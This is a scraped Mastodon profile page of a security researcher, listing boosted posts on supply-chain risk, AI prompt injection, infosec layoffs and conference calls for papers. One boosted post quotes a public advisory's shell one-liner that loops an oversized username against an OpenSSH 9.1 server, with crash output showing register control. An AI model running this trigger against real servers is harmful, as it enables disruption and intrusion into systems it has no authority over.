Profile for joern

Display name
joernchen :cute_dumpster_fire:
Username
@joern@threatactor.club
Role
admin

About joern

Bio

Your mom's favorite hacker!

My other account is @joernchen

Stats

Joined
Posts
687
Followed by
1129
Following
261

Recent public posts

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joernchen :cute_dumpster_fire: , @joern
(open profile)
Boost of @postmodern@infosec.exchange
postmodern , @postmodern@infosec.exchange
(open profile)

Hot Take: a lot of the "supply chain insecurity" news stories are not problems with the supply chain. So what if you managed to upload some crapware RAT to PyPi? No one will even use your malicious package ever. Even if you tried typosquating the package, the odds are still low that anyone important or a large chunk of the community would accidentally use your typosquated malicious package . Real supply chain issues are when a legitimate and *popular link in the supply chain (aka a popular library used by many other projects) becomes compromised.

joernchen :cute_dumpster_fire: , @joern
(open profile)
Boost of @hdm@infosec.exchange
HD Moore , @hdm@infosec.exchange
(open profile)

This post by the Qualys Security Advisory team demonstrating rip/pc control on OpenSSH 9.1 (running on OpenBSD!) is savage: seclists.org/oss-sec/2023/q1/9

Here I was thinking this bug was hopeless and they one-line it without writing new code:

$ cp -i /usr/bin/ssh ./ssh

$ sed -i s/OpenSSH_9.1/FuTTYSH_9.1/g ./ssh

$ user=`perl -e 'print "A" x 300'` && while true ;do ./ssh -o NumberOfPasswordPrompts=0 -o Ciphers=aes128-ctr -l
"$user:$user" 192.168.56.123 ;done

...

#1 0x4141414141414141 in ?? ()

IDK but all those AI prompt injections like

https://arstechnica.com/information-technology/2023/02/ai-powered-bing-chat-spills-its-secrets-via-prompt-injection-attack/

seem to rely on in-band signalling which could have been avoided at design time by having separate channels for configuration and user input. But instead the 70s are calling and want their cereal whistles back

joernchen :cute_dumpster_fire: , @joern
(open profile)
Boost of @postmodern@infosec.exchange
postmodern , @postmodern@infosec.exchange
(open profile)
speculation about layoffs and security posture
Toggle visibility

It's going to be interesting to see how the layoffs will impact security. According to birbsite and Mastodon, already some InfoSec people have been hit by layoffs. Fewer people means things stay broken longer, incidents take longer to respond to, etc. Meanwhile, hackers and ransomware gangs do not have to deal with layoffs... Guess who's going to have the competitive advantage?

joernchen :cute_dumpster_fire: , @joern
(open profile)
Boost of @tomituominen@infosec.exchange
Tomi Tuominen , @tomituominen@infosec.exchange
(open profile)

CALL FOR PAPERS T2’23

Tired of your bosses suspecting conference trips to exotic locations being just a ploy to partake in Security Vacation Club? Prove them wrong by coming to Helsinki, Finland on May 4-5 2023! Guaranteed lack of sunburn, good potential for rain or slush. In case of great spring weather, though, no money back.

CFP and registration both open. Read further if still unsure:
t2.fi/2023/01/19/call-for-pape

joernchen :cute_dumpster_fire: , @joern
(open profile)
Boost of @jiska@chaos.social
jiska 🦄:fairydust: , @jiska@chaos.social
(open profile)

Want to learn mobile reverse engineering and security analysis on iOS 📱🍎 but can't afford a training since you're a student? We'll do a free edition of day 1+2 of the Nullcon training end of February at TU Darmstadt. Drop me a DM if you're interested. Limited spaces, so better be fast 🔥

nullcon.net/berlin-2023/traini

joernchen :cute_dumpster_fire: , @joern
(open profile)
Boost of @freddy@security.plumbing
Frederik Braun � , @freddy@security.plumbing
(open profile)

Hey friends in ! Please remember to submit your research to the SecWeb workshop, a venue about building security for the web. The event is co-located with IEEE S&P in San Francisco (May 25) and our paper deadline os February 24th. We welcome new security flaws, solutions, wild ideas and even position papers. Let me know if you want to know more! secweb.work/2023.html

Please boost! 🔃